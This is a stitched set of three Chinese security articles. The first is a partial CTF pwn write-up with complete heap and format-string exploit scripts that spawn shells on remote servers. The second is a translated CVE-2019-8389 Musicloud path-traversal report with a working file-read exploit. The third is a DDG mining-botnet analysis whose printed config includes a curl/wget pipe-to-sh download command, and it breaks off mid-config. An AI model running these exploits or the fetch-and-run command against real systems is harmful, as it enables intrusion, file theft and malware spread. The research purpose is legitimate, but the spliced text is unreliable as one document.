bin，可以直接泄露libc。得到libc后直接修改tcache堆块中的指针域，让指针域指向mallochook-0x10.然后再去分配，malloc_hook中也是有数据的，虽然不知道分配的到的堆块是不是malloc_hook处的堆块，但是可以通过上面分配tcache的方法检测。得到malloc_hook后，填入、调整onegadget就能拿到shell。
from pwn import *
#libc = ELF('/home/wbohan/Desktop/libc-2.27.so')
libc = ELF('/home/wbohan/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so')
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
def alloc(index,size):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size:')
p.sendline(str(size))
def edit(index,content):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content:')
p.send(content)
def show(index):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: ')
def free(index):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
while True:
try:
#p = process('./random_heap')
p = remote('124.71.140.198',49153)
tmp1 = 0
size1 = 0
fakeindex = 0
fakeindex2 = 0
nextindex = 0
alloc(1,0x80)
alloc(2,0x10)
free(1)
edit(1,'a' * 8)
show(1)
p.recvuntil('a' * 8)
tcache_addr = u64(p.recv(6).ljust(8,'\x00'))
print(hex(tcache_addr))
edit(1,p64(tcache_addr))
for i in range(10,51):
flag = False
alloc(i,0x80)
for j in range(7,23):
edit(i,j * 'a')
show(i)
tmpstr = p.recvuntil('\n',drop = True)
if len(tmpstr) != j:
#the use_size of chunk1 is 0x10 * (j + 1)
size1 = 0x10 * (j + 1)
flag = True
break
if flag is True:
fake_index = i
break
print(hex(size1))
print(hex(fake_index))
edit(fake_index,p8(7) * 0x30)#tcache bin full
alloc(fake_index+1,0x80)
alloc(fake_index+2,0x80)#seperate top chunk
free(fake_index+1)
show(fake_index+1)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x7fe0317a1ca0 + 0x7fe0313b6000
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['realloc']
gadget = libc_base + one_gadget[2]
edit(fake_index,'\x00' * 0x80)
alloc(2,0x40)#flash_unsorted
alloc(2,0x40)#flash_unsorted
alloc(2,0x40)#flash_unsorted
alloc(2,0x40)#flash_unsorted
alloc(60,0x80)
free(60)#free fake_index get chunk
edit(60,p64(malloc_hook-0x10))
for l in range(10,60):
flag = False
alloc(l,0x80)
edit(l,'a' * 0x80)
show(l)
tmpstr = (p.recvuntil('\n',drop = True))
if len(tmpstr) != 0x80:
edit(l,'\x00' * 0x80)
fake_index2 = l
break
edit(fake_index2,p64(0) + p64(gadget) + p64(realloc_hook + 2))
log.success(hex(libc_base))
break
except:
p.close()
continue
#gdb.attach(p)
#pause()
alloc(61,0x10)
p.interactive()
### 5、bornote
本题是一个libc-2.31版本的offbynull利用漏洞。libc-2.31的堆块合并检测比较严格，但是有通用的利用方法，这里可以使用how2heap中的2.31版本house-of-einherjar的利用方式来进行利用。文章起始处我给出了参考链接。我就是使用了这个攻击方法解答此题目的。
from pwn import *
#p=process('./bornote')
p = remote('121.36.250.162',49153)
libc = ELF('/home/wbohan/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
#context.log_level = 'debug'
def alloc(size):
p.recvuntil('cmd: ')
p.sendline('1')
p.recvuntil('Size')
p.sendline(str(size))
def edit(index,content):
p.recvuntil('cmd: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Note: ')
p.send(content)
def show(index):
p.recvuntil('cmd: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Note: ')
def free(index):
p.recvuntil('cmd: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.sendline('wbohan')
for i in range(0,7):
alloc(0x88)
alloc(0x88)#7
alloc(0x10)#8
for i in range(0,7):
free(i)
free(7)
alloc(0x18)#0
show(0)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
alloc(0x68)#1
free(8)
free(0)
alloc(0x18)#0
show(0)
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x7fe9992fdc60 + 0x7fe999112000
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
realloc_hook = libc_base + libc.sym['realloc']
system = libc_base + libc.sym['system']
environ = libc_base + libc.sym['__environ']
one_gadget = [0xe6c7e,0xe6c81,0xe6c84]
free(0)
free(1)
alloc(0x38)#0
alloc(0x28)#1
alloc(0xf8)#2
a = 0x20 + heap_addr
edit(0,p64(0) + p64(0x60) + p64(a) * 2)
p.sendline('\n')
edit(1,p64(0) * 4 + p64(0x60) + p8(0))
p.sendline('\n')
for i in range(3,10):
alloc(0xf8)
for i in range(3,10):
free(i)
free(2)
alloc(0x158)#2
alloc(0x28)#3
free(3)
free(1)
edit(2,p64(0) * 5 + p64(0x31) + p64(environ))
p.sendline('\n')
alloc(0x28)#1
alloc(0x28)#3
p.sendline('\n')
show(3)
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
#log.success(hex(libc_base))
log.success(hex(heap_addr))
ssss2 = heap_addr + 0x30
#log.success(hex(stack_addr))
notelist_addr = stack_addr - 0x7ffe806c4ea8 + 0x7ffe806c4c70
log.success(hex(notelist_addr))
alloc(0x28)#4
alloc(0x28)#1
free(4)
free(1)
edit(2,p64(0) * 5 + p64(0x31) + p64(notelist_addr))
p.sendline('\n')
alloc(0x28)#1
alloc(0x28)#4
stack_addr2 = notelist_addr - 0x7ffcb55c03c0 + 0x7ffcb55c04e8
log.success(hex(stack_addr2))
p.sendline('\n')
edit(4,p64(0)*2 +p64(stack_addr2) + p16(0x158))
p.sendline('\n')
show(1)
leak_codebase = u64(p.recv(6).ljust(8,'\x00'))
log.success(hex(leak_codebase))
codebase = leak_codebase - 0x56427bd38f70 + 0x56427bd37000
#ssss = notelist_addr - 0x7fff3cf79200 + 0x7fff3cf791a8
#edit(2,'/bin/sh\x00')
#p.sendline('\n')
log.success(hex(codebase))
#pop_rdi = 0x1fd3 + codebase
#ret = 0x101a + codebase
target_addr = codebase + 0x1c02
#ssss = notelist_addr + 0x7ffeafcb5170 - 0x7ffeafcb5118 - 0xb0
#log.success(hex(ssss))
edit(4,p64(0)*2 +p64(malloc_hook) + p16(0x158))
p.sendline('\n')
edit(1,p64(one_gadget[1] + libc_base))
p.sendline('\n')
'''
edit(4,p64(0)*2 +p64(ssss) + p16(0x158))
p.sendline('\n')
edit(1,p64(ssss2))
p.sendline('\n')
edit(4,p64(0)*2 +p64(ssss + 8) + p16(0x158))
p.sendline('\n')
edit(1,p64(system))
p.sendline('\n')
'''
#gdb.attach(p)
#pause()
alloc(0x100)
p.interactive()
### 6、pwnpwn
本题是一个printf格式化字符串漏洞与canary绕过的考察。一共可以利用两次格式化字符串（这个格式化字符串本身也存在着栈溢出）第一次用来泄露canary的值，第二次维护canary的值并构造rop链。程序中本身存在binsh和system。利用起来十分容易。
from pwn import *
from time import *
libc = ELF('/home/wbohan/Desktop/libc-2.23.so')
#p=process('./pwnpwn')
p = remote('124.71.156.217',49153)
p.recvuntil('something\n')
p.sendline('1')
p.recvuntil('trick\n')
leak_addr = int(p.recvuntil('\n',drop = True),16)
codebase = leak_addr - 0x9b9
pop_rdi = codebase + 0xb83
pop_rsi_r15 = codebase + 0xb81
system_addr = codebase + 0x808
puts_plt = codebase + 0x7f0
bin_sh = codebase + 0x202010
p.sendline('2')
p.recvuntil('hello')
offset = 8
payload = 'a' * 105
p.send(payload)
p.recvuntil('a' * 105)
leak_canary = u64(p.recv(7).rjust(8,'\x00'))
log.success(hex(leak_canary))
payload2 = 'a' * 104 + p64(leak_canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
p.sendline(payload2)
#log.success(hex(getshell))
#log.success(hex(leak_addr))
#log.success(hex(ret_addr))
#gdb.attach(p)
#pause()
p.interactive()
## 三、个人总结
本次强网挑战杯是我解题完成度最高的一次比赛了，虽然我并不参加复赛，但不得不说还是非常有成就感的。本次题目中比较有难度的应该是random_heap、oldecho和bornote，剩下的题目基本都是模板题目。非常适合pwn新手参与（比如我），并且在比赛过程中，也与前辈们不断交流学习，学到了许多利用的方法。例如bornote的2.31版本利用方法。总之本次比赛对于我个人而言无论是成就上还是实力上都有着不俗的提升，我也非常建议pwn新手对赛题进行赛后分析。 | 社区文章 |
# CVE-2019-8389 - MUSICLOUD V1.6 任意文件读取漏洞
翻译文章：<https://www.shawarkhan.com/2019/02/cve-2019-8389-arbitrary-file-read-in.html>
## 漏洞详情
今天我将分享我在 iOS 应用程序 Musicloud v1.6 中发现的一个漏洞。Musicloud
是一个音乐播放器，允许用户存储和播放不同来源的音乐。音乐可以从Dropbox、谷歌Drive和本地计算机等不同的地方导入。而为了在手机和电脑之间传输音乐，用户必须打开无线传输功能:
默认情况下，手机上传输服务运行在手机外部IP(本例中为192.168.1.100)的 8080 端口上。同一个局域网上的所有用户都可以访问端口 8080
上的文件传输服务。访问端口8080将返回以下页面:
应用程序使用以下脚本执行上传和下载功能:
* /download.script - 用来下载音乐
* /upload.script - 用来上传音乐
如果我们想要下载一个音乐文件，例如 music-1.mp3，那么它将发送一个GET请求到
**<http://192.168.1.100:8080/music-1.mp3?download>** 。但如果想要同时下载2个文件，则会发出以下请求:
POST /download.script HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.100:8080/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 141
Connection: close
downfiles=music-1.mp3%0D%0Amusic-2.mp3&cur-folder=
这将在手机上创建一个压缩文件 MusicPlayerArchive.zip，里面包含了 music-1.mp3 和 music-2.mp3
两个文件。因此，再次访问 **<http://192.168.1.100:8080/musicplayerarchive.zip>**
将返回包含2个音乐文件的zip文件。另外，"cur -folder=" 的空值表示指定当前目录，因此如果"cur
-folder="为空，就意味着我们正在从./目录中请求内容。在上面的例子中，它就是从路径 ./music-1.mp3请求文件。
现在我们能够指定任意路径，我们已经可以通过设置路径和指定的文件来请求任何文件。因此，如果我们想要请求文件/etc/passwd，我们将参数重新设置为:
downfiles=passwd&cur-folder=../../../../../../../../../etc/
我们只需要向 download.script
发送一个请求，请求的参数可以像下面一样配置，这样就会在手机上创建一个MusicPlayerArchive.zip文件，其内容为/etc/passwd:
POST /download.script HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.100:8080/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 59
Connection: close
downfiles=passwd&cur-folder=../../../../../../../../../etc/
然后我们会只要下载MusicPlayerArchive.zip就可以获得 /etc/passwd 的文件内容。
最后，我们成功地读取了目标 iPhone 的 /etc/passwd 文件。这就是该漏洞的利用的方式。我写了一个小的脚本自动化的完成整个过程，大家可以在
exploit-db 上找到它。
## Exploit 代码：
#!/usr/bin/python
# Proof of concept for CVE-2019-8389
# Exploit author: Shawar Khan
import sys
import requests
def usage():
print "Usage:\n\tpython musicloud_lfi.py 192.168.8.103 /etc/passwd\n"
try:
ip = sys.argv[1]
path = sys.argv[2]
downfile = path.split('/')[::-1][0]
cur_fold = '../../../../../../..'+path[:-len(downfile)]
print '''
Musicloud v1.6 iOS - Local File Read exploit
CVE: CVE-2019-8389
Author: Shawar Khan ( @shawarkhanethicalhacker )
'''
def create_archive(file,payload):
post_data = {
"downfiles" : file,
"cur-folder" : payload
}
print "[+] Injecting Payload..."
try:
inj_status = requests.post('http://'+str(ip)+':8080/download.script',data=post_data)
if "MusicPlayerArchive.zip" in inj_status.text and inj_status.status_code==200:
print "[+] Payload successfully injected"
elif inj_status.status_code==404:
print "[+] Payload injection failed, File not found"
exit()
else:
print "[+] Payload injection failed!"
exit()
except(requests.exceptions.ConnectionError) as err:
print '[+] Payload injection failed! Connection refused.'
exit()
def retrieve_content():
print "[+] Retrieving MusicPlayerArchive.zip"
zip_content = requests.get('http://'+str(ip)+':8080/MusicPlayerArchive.zip')
if zip_content.status_code==200:
print "[+] Successfully retrieved MusicPlayerArchive.zip!\n\n[i] Printing content of %s:\n"%path
archive = zip_content.text.splitlines()
for i in range(2):
archive.pop()
archive.pop(0)
print '\n'.join(archive)
else:
print "[+] Error retrieving content!"
create_archive(downfile,cur_fold)
retrieve_content()
except(IndexError):
usage()
## 参考链接：
* <https://nvd.nist.gov/vuln/detail/CVE-2019-8389>
* <https://vuldb.com/?id.130936>
* <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8389>
* <https://github.com/shawarkhanethicalhacker/CVE-2019-8389> | 社区文章 |
# 以P2P的方式追踪 DDG 僵尸网络（上）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本系列文章从 Botnet(僵尸网络)的基础概念说起，围绕实现了 P2P 特性的 DDG.Mining.Botnet，一步一步设计一个基于 P2P
> 的僵尸网络追踪程序，来追踪 DDG。内容分 **上** 、 **下** 两部分：
> **上** 半部分写本人理解的 Botnet 相关概念，然后介绍 DDG Botnet，着重介绍其涉及的 P2P 特性；
> **下** 半部分写如何根据 DDG.Mining.Botnet 的 P2P 特性，来设计一个僵尸网络跟踪程序
> DDG.P2P.Tracker，用以遍历 Botnet 中的节点、及时获取最新的云端配置文件、及时下载到 Botnet 中最新的恶意样本、及时获知
> Botnet 中最新启用的 C&C 服务器。
## 1\. 概述
### 1.1 Botnet 及其网络结构
#### 1.1.1 Botnet 简介
**Botnet(僵尸网络)** 没有一个准确的定义，关于什么是 Botnet，众说纷纭，总结起来不外乎两大特性：
1. 众多被入侵的僵尸主机，上面运行着相同的 Botnet 客户端恶意程序，这些众多的僵尸主机组成一个大型的“网络”(顾名思义被称作 **僵尸网络** )，可以进行统一的恶意活动—— **主要特性** ；
2. 僵尸网络实施的统一的恶意活动，由 C&C(Command and Control)服务来控制，一般说来，是可以长时间持续控制—— **次要特性** 。
Botnet 常见的恶意活动有实施 DDoS 攻击、用来做 Proxy Server 或者发送垃圾邮件等等。一个典型 DDoS Botnet
的大致结构如下图所示：
#### 1.1.2 传统 Botnet
传统的 Botnet，一般指 **可以通过少数特定C &C服务器来集中式控制的僵尸网络**，用来给僵尸主机上的 Botnet
客户端恶意程序下发指令的服务器，叫做 **C &C 服务器**(Command and Control Server)。其网络模型基于 Client-Server 模型，属于 **中心化控制(Centralized Control)** 方式。其概要结构图如下(中间的图标代表 C&C 服务器)：
这种网络结构只有一个或者少数几个 C&C 服务器，一旦 C&C 服务器被封堵、屏蔽，整个 Botnet 就轰然倒塌，脆弱性是显而易见的。所以，这种网络结构的
Botnet 发展历程中，从样本层面到网络设施层面都衍生了错综复杂的对抗措施，二进制样本层面的对抗之外，从 DGA 到 Fast-Flux，到借助于公共网络服务的 C&C 通道，再到近两年基于区块链的域名解析，最终目的都是提高这种 Botnet 背后 C&C
服务的健壮性，以降低被轻易摧毁的可能性。
#### 1.1.3 P2P Botnet
为了避免传统 Botnet 中的 **单点故障** 现象，也不想使用太复杂的技术来提高个别 C&C 服务的健壮性，去中心化的 P2P Botnet
应运而生。基于 P2P 协议实现的 Botnet，不再需要中心化的 C&C 服务器，只靠 Bot 节点之间各自通信，传播指令或者恶意文件。而 Botnet
的控制者(BotMaster)就隐藏在大批量的 Bot 节点中，悄悄控制着整个 Botnet。
这样以来至少有两个显而易见的好处：一方面消除了传统 Botnet 中的中心化控制带来的单点故障因素，另一方面还让 BotMaster 更加隐蔽。
关于 P2P Botnet，有 3 个方面要阐述清楚，才能更好地理解这种 Botnet。
**一** 是所使用的 **P2P 协议** 。P2P 协议有很多种，并且不止一种 P2P 协议可以用来组建 P2P Botnet。目前最常见的 P2P
协议莫过于基于 [DHT](https://en.wikipedia.org/wiki/Distributed_hash_table) 实现的 P2P
协议，用来构建 P2P 文件共享网络的 BitTorrent 协议，也是基于 DHT 协议实现。
**二** 是 Botnet 的 **控制方式** 。前面说过 P2P Botnet 中，BotMaster 控制着其中一个 Bot 节点（后文简称
**SBot** ），隐藏在大批量的 Bot 节点中，通过 SBot 节点，向整个 Botnet 发出控制指令或者更新恶意文件。根据 P2P
协议特性，理论上任何人都可以加入这个网络并与其他节点通信。整个过程中，BotMaster
必须保证只有他自己可以发送有效的控制指令或文件，其他节点可以进行常规通信(遍历节点、查询临近节点信息、接收指令或文件等等)，但不能发送控制指令或文件。其他节点发出的指令或文件，整个网络中的
Bot 节点都不会接受。
要实现这样的特性，BotMaster 必须给这些关键通信加上校验机制。比如利用非对称加密算法，通过只有 BotMaster
一人掌握的密钥给通信内容加上数字签名。接收到指令或文件的 Bot 节点，会用自己的另一个密钥来校验数据的合法性，合法的通信才接受，非法的则丢弃。
**三** 是 P2P Botnet 的 **网络结构** 。P2P Botnet 的结构，就是典型的 P2P 网络结构，如图所示：
这其实是一个简化的网络模型，考虑到 NAT 的存在，这种模型图并不能精准描述 P2P Botnet 的网络结构。对此， @MalwareTechBlog 在
[Peer-to-Peer Botnets for Beginners](https://www.malwaretech.com/2013/12/peer-to-peer-botnets-for-beginners.html) 中有详细描述，他给出的 P2P Botnet 网络结构图如下：
#### 1.1.4 挖矿僵尸网络
文章开头说了 Botnet 的两大特性，第二条算是 **次要特性** ，这样说的理由，配合挖矿僵尸网络(Mining Botnet)来解释更容易理解。
一般说来，无论是传统 Botnet 还是 P2P Botnet，都有一个 C&C 服务来持续控制它，比如控制它今天 DDoS
一个网站，明天给某个帖子刷量，后天又去发一波垃圾邮件……但近些年来，随着挖矿僵尸网络的盛行，由于盈利模式的简单粗暴，致使 Botnet
的网络结构也发生了细微的变化： **挖矿僵尸网络可以不再需要一个持续控制的 C &C 服务**。
对于 **纯粹的** 挖矿僵尸网络，它的恶意活动是单一而且确定的： **挖矿** ，所以可以不再需要一个 C&C
服务来给它下发指令来实施恶意活动；它的恶意活动是持续进行的，不间断也不用切换任务，所以也不需要一个 C&C 服务来 **持续控制**
。挖矿僵尸网络要做的事情，从在受害主机上植入恶意矿机程序开始，就可以放任不管了。甚至 BotMaster 都不需要做一个 Report
服务来统计都有哪些僵尸节点来给自己挖矿，自己只需要不断地 **入侵主机— >植入矿机—>启动矿机程序挖矿**，然后坐等收益即可。
这只是比较简单粗暴的情况，即使没有一个持续控制的 C&C 服务，我们也把它叫做
Botnet——Mining.Botnet。不过为了谨慎起见，窃以为还要加上一个特性：恶意程序的 **蠕虫特性**
。如果一个攻击者，它的相关恶意程序没有蠕虫特性，只是自己通过批量扫描+漏洞利用批量拿肉鸡，然后往肉鸡上批量植入恶意矿机程序来盈利，我们并不认为它植入的这些矿机程序组成了一个
Botnet。一旦有了蠕虫特性，恶意程序会自己主动传播，一步步构建成一个统一的 **网络** ，然后统一挖矿来为黑客牟利，我们才会把它叫做
Mining.Botnet(之所以有这个认识，可能是因为目前曝光的绝大多数稍具规模或者危害稍大的挖矿僵尸网络，其中恶意样本或多或少都有蠕虫特性)。
这样，纯粹的 Mining.Botnet 可以只满足文章开头提到的第一个特性，只要自身恶意程序有蠕虫特性，我们还是可以把它称为 Botnet。
当然，这只是为了说明 Botnet 网络架构微小变化而举的简单粗暴的例子。现实中遇到的 Mining.Botnet
，大多要更复杂一些。一般至少会有一个服务器提供恶意样本的下载，有的会提供一个云端的配置文件来控制矿机工作，有的会自建矿池代理服务，有的会在入侵、传播阶段设置更加复杂的服务端控制，还有的在持久驻留失陷主机方面做复杂的对抗……需要注意的是，这些真实存在的
Mining.Botnet 中，这些恶意服务器提供的多是下载、代理服务，而不一定具有传统 Botnet C&C 服务那样 **下发控制指令** 的功能。
### 1.2 对 Botnet 的处置措施
对于 Botnet，安全研究人员 OR 安全厂商可以采取的措施，大致有以下几种：
1. 分析透彻 Botnet 样本工作原理、攻击链条、控制方式、通信协议以及网络基础设施，评估该 Botnet 可能造成的危害；梳理中招后的清除方案，提取相关 IoC 并公开给安全社区。安全厂商在安全产品中实现基于样本特征、通信协议或者 IoC 的防御措施，保护用户的安全。这样可以削弱整个 Botnet；
2. 联合 ISP 和执法机构，封堵 Botnet 背后的网络基础设施，对域名采取 Sinkhole 措施或者直接禁止解析，阻断 IP 访问甚至控制 C&C 服务器的主机。如果 Botnet 的网络基础设施比较脆弱，比如只有这么一个 C&C 服务器，这样会直接端掉(Take Down)整个 Botnet；
3. 根据对 Botnet 的协议特征、攻击方式等方面的分析，或者根据对其 C&C 域名的 Sinkhole 数据，度量 Botnet 的规模，统计 Bot 节点的信息，联合有关方面清除 Bot 节点上的 Bot 程序。这样也会削弱整个 Botnet；
4. 通过对 Botnet 的跟踪（监控云端配置文件、解析 C&C 服务器的最新指令或者 P2P 追踪等等），监控 Botnet 的最新动向，方便采取一定防御措施；
5. 对于有缺陷的 P2P Botnet，通过向 Botnet 投毒的方式清除整个 Botnet。
简单总结起来，就是 **能干掉的就干掉，干不掉的就想办法将它削弱** 。
## 2\. DDG.Mining.Botnet
DDG.Mining.Botnet(下文称 **ddg** ) 是一个挖矿僵尸网络。ddg 最初的结构比较简单：
* **具有蠕虫功能的恶意程序** (下文简称 **主样本** )可以利用漏洞来入侵主机实现自主传播；
* 有 1~3 个 **文件下载服务器** 提供矿机程序和恶意 Shell 脚本的下载，Shell 脚本被具有蠕虫功能的恶意程序下载到失陷主机中用来做定时任务，实现常驻失陷主机；恶意矿机程序则被 Shell 脚本不断下载、启动来挖矿。
360Netlab 对 ddg 进行了长期跟踪，对它的几个主要版本进行详细分析并发布
[系列技术报告](https://blog.netlab.360.com/tag/ddg/)。现在，ddg 已经集成了 P2P 机制，实现了 Bot
节点间的互联互通，构建成了一个 **非典型** P2P Botnet(下文会解释为什么称它 **非典型** )。
不过我们没能把 ddg 干掉，只做到了 **追踪** (因为它内部有基于 RSA 数字签名的校验机制，无法向僵尸网络投毒；也没能 Take Down 它的
C&C Server)，这也是本文的主题。目前我们可以做到以下四点：
* 及时获取当前 ddg 中的 Bot 节点信息；
* 及时获取它最新的云端配置数据；
* 即使获取它释放出来的最新恶意样本；
* 及时获知它最新启用的 C&C Server。
接下来就从 ddg 的核心特性说起，参考这些核心特性一步一步设计一个 P2P Botnet Tracker。
### 2.1 ddg 的网络结构
相比最初的结构，ddg 当前版本有两个新特性：
* 1~3 个文件下载服务器同时提供云端配置数据，ddg 的主样本会通过向 `http://<c&c_server>/slave` 发送 Post 请求来获取配置数据；
* 僵尸网络内启用了P2P通信机制：集成了分布式节点控制框架 [Memberlist](https://github.com/hashicorp/memberlist)，该框架实现了扩展版的 **弱一致性分布式控制协议[SWIM](http://www.cs.cornell.edu/projects/Quicksilver/public_pdfs/SWIM.pdf)** (扩展版的协议称为 **[Lifeguard](https://arxiv.org/pdf/1707.00788.pdf%5D)** )，并以此实现了 P2P 机制，用来管理自己的 Peers(Bots)。
综合一下，当前集成了 P2P 机制的 ddg，网络结构概要图大致如下：
上图黄色虚线聚焦的图标，代表 ddg 的恶意服务器，提供主样本程序、恶意 Shell
脚本和矿机程序的下载，还提供云端配置数据的下发服务。这里就可以解释前文中说 ddg 当前版本是 **非典型** P2P Botnet 的理由了：
* **网络结构** ：典型的 P2P Botnet 网络结构，至少不会有中间一个 **中心化** 的文件和配置数据服务器，加上这么一个中心化的恶意服务器，显得 P2P 的网络结构不是那么“纯粹”。一个比较纯粹的 P2P Botnet ，网络结构可以参考名噪一时的 P2P Botnet **[Hajime](https://blog.netlab.360.com/hajime-status-report/)** ，去除中间那个中心化的恶意服务器，所有指令、文件和配置数据的下发与传播，都靠 P2P 协议来实现，在 Bot 节点之间互相传递。而 ddg 这种网络结构，也使得它构建的 P2P 网络承载的功能比较鸡肋：只用来做 Bot 节点间的常规通信，不能承载 Botnet 的关键恶意活动；
* **网络协议** ：构建 P2P 网络，无论是常见的 BT 文件共享网络还是恶意的 Botnet，比较多的还是基于 [DHT](https://en.wikipedia.org/wiki/Distributed_hash_table) 协议来实现。Hajime 和同样是 Go 语言编写的 P2P Botnet **[Rex](https://vms.drweb.com/virus/?_is=1&i=8436299)** ，用来构建 P2P 网络的协议都是 DHT。而 ddg 构建 P2P 网络的框架则是本来在分布式系统领域用来做集群成员控制的 Memberlist 框架，该框架用基于 Gossip 的弱一致性分布式控制协议来实现。如果不太明白这个框架常规的应用场景，那么把它跟 [Apache ZooKeeper](https://en.wikipedia.org/wiki/Apache_ZooKeeper) 来对比一下或许更容易理解：它们都可用于分布式节点的服务发现，只不过 ZooKeeper 是强一致性的，而 Memberlist 是弱一致性(参考： [基于流言协议的服务发现存储仓库设计](https://www.jianshu.com/p/5e7e78788d12))。
基于以上两点，足够说明 ddg 是一个 **非典型** P2P Botnet。
### 2.2 ddg 的 C&C 服务器
ddg 的服务器自从提供了云端配置数据的下发，便具备了传统僵尸网络中的 Command and Control 功能，所以可以名正言顺地称之为 C&C
服务器。
ddg 的服务器地址，在是内置在主样本中的。在主样本中有一个 **HUB IP List** 的结构，里面有上百个 IP
地址的列表，这份列表中，绝大部分是失陷主机的 WAN_IP 地址，只有1~3 个是当前存活的 C&C 地址(1 个 **主 C &C 服务器**，2 个
**备用 C &C 服务器**)。主样本执行期间会遍历这份 IP 列表，找到可用的 C&C 服务器地址，通过向
`http://<c&c_server>/slave` 发送 Post 请求来获取配置数据。
云端配置数据是用 [msgPack](https://msgpack.org) 编码过的，解码后的配置数据中有最新的恶意 Shell
脚本下载地址，这个下载地址中的 IP 即为最新的 **主 C &C 服务器**。
恶意的 Shell 脚本中会给出最新的主样本下载地址，这个下载地址中的 IP 也是最新的 **主 C &C 服务器**，目前来看，恶意 Shell 脚本中的
C&C 地址与云端配置数据中提供的 C&C 地址都是一致的。
这样一来，共有 3 中方式能获取到最新的 C&C 服务器地址：
1. 解析 HUB IP List，通过遍历其中的 IP 列表来发现 C&C 服务器地址；
2. 解析恶意 Shell 脚本，提取其中的 C&C服务器地址；
3. 解析配置文件，提取其中的 C&C 服务器地址。
### 2.3 ddg 的云端配置数据
前文提到过，ddg 的云端配置数据，是经过 msgPack 编码的，配置数据解码后的内容如下：
{
'Data':{
'CfgVer': 6,
'Cmd': {
'AAredis': {
'Duration': '240h',
'GenAAA': False,
'GenLan': True,
'IPDuration': '6h',
'Id': 6062,
'Ports': [6379, 6389, 7379],
'ShellUrl': 'hxxp://104.248.181.42:8000/i.sh',
'Timeout': '1m',
'Version': 3017
},
'AAssh': {
'Duration': '240h',
'GenAAA': False,
'GenLan': True,
'IPDuration': '12h',
'Id': 2057,
'NThreads': 100,
'Ports': [22, 2222, 12222, 52222, 1987],
'ShellUrl': 'hxxp://104.248.181.42:8000/i.sh',
'Timeout': '1m',
'Version': 3017
},
'Killer': [{
'Expr': '(/tmp/ddgs.3011|/tmp/ddgs.3012|/tmp/ddgs.3013|/tmp/ddgs.3014|/tmp/ddgs.3015| /tmp/ddgs.3016|/tmp/ddgs.3017|/tmp/ddgs.3019)',
'Id': 475,
'Timeout': '60s',
'Version': 3017
},
{
'Expr': '.+(cryptonight|stratum+tcp://|dwarfpool.com|supportxmr.com).+',
'Id': 483,
'Timeout': '60s',
'Version': -1
},
{
'Expr': './xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg|/tmp/2t3ik',
'Id': 484,
'Timeout': '60s',
'Version': -1
},
{
'Expr': '/tmp/qW3xT.+',
'Id': 481,
'Timeout': '60s',
'Version': 3017
}
],
'LKProc': [{
'Expr': '/tmp/qW3xT.5',
'Id': 488,
'Timeout': '60s',
'Version': 3020
}],
'Sh': [{
'Id': 479,
'Line': '(curl -fsSL hxxp://104.248.181.42:8000/i.sh||wget -q -O- hxxp://132.148.241.138:8000/i.sh) | sh',
'Timeout': '120s',
'Version': -1
},
{
'Id': 486,
'Line': 'chattr -i /tmp/qW3xT.5; chmod +x /tmp/qW3xT.5',
'Timeout': '20s',
'Version': 3017
}
]
},
'Config': {
'Interval': '60s'
},
'Miner': [{
'Exe': '/tmp/qW3xT.5',
'Md5': 'fb6bf5af8771b0dc446861484335fc5e',
'Url': '/static/qW3xT.5'
}]
},
